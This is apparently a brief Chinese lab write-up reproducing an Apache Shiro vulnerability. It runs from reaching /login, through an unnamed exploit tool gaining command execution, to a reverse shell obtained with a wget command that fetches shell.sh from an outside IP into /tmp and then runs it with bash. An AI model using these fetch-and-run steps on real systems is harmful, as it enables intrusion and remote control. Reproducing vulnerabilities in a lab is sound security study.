Shiro漏洞再现

1、开环境

2、访问

访问目录/login

3、利用工具进行工具

4、执行命令成功

5、反弹shell

在服务器创建一个shell.sh

让工具执行命令

/usr/bin/wget -qO /tmp/shell.sh http://150.158.199.164/shell.sh 

执行之后开启监听

再让工具执行命令

/bin/bash /tmp/shell.sh

返回服务器查看是否监听

成功监听到